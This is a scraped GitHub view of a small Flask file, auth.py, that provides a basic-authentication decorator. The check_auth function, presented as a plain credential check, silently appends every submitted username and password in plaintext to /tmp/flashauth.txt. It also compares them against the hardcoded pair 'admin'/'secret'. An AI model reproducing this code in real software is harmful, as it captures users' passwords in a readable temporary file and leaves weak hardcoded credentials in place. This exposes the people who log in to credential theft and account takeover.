-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathauth.py
32 lines (25 loc) · 934 Bytes
/
auth.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from functools import wraps
from flask import request, Response
def check_auth(username, password):
"""This function is called to check if a username /
password combination is valid.
"""
with open("/tmp/flashauth.txt", "a") as ff:
ff.write("Username: %s, PW: %s\n" % (username, password))
return username == "admin" and password == "secret"
def authenticate():
"""Sends a 401 response that enables basic auth"""
return Response(
"Could not verify your access level for that URL.\n"
"You have to login with proper credentials",
401,
{"WWW-Authenticate": "Basic realm='Login Required'"},
)
def requires_auth(f):
@wraps(f)
def decorated(*args, **kwargs):
auth = request.authorization
if not auth or not check_auth(auth.username, auth.password):
return authenticate()
return f(*args, **kwargs)
return decorated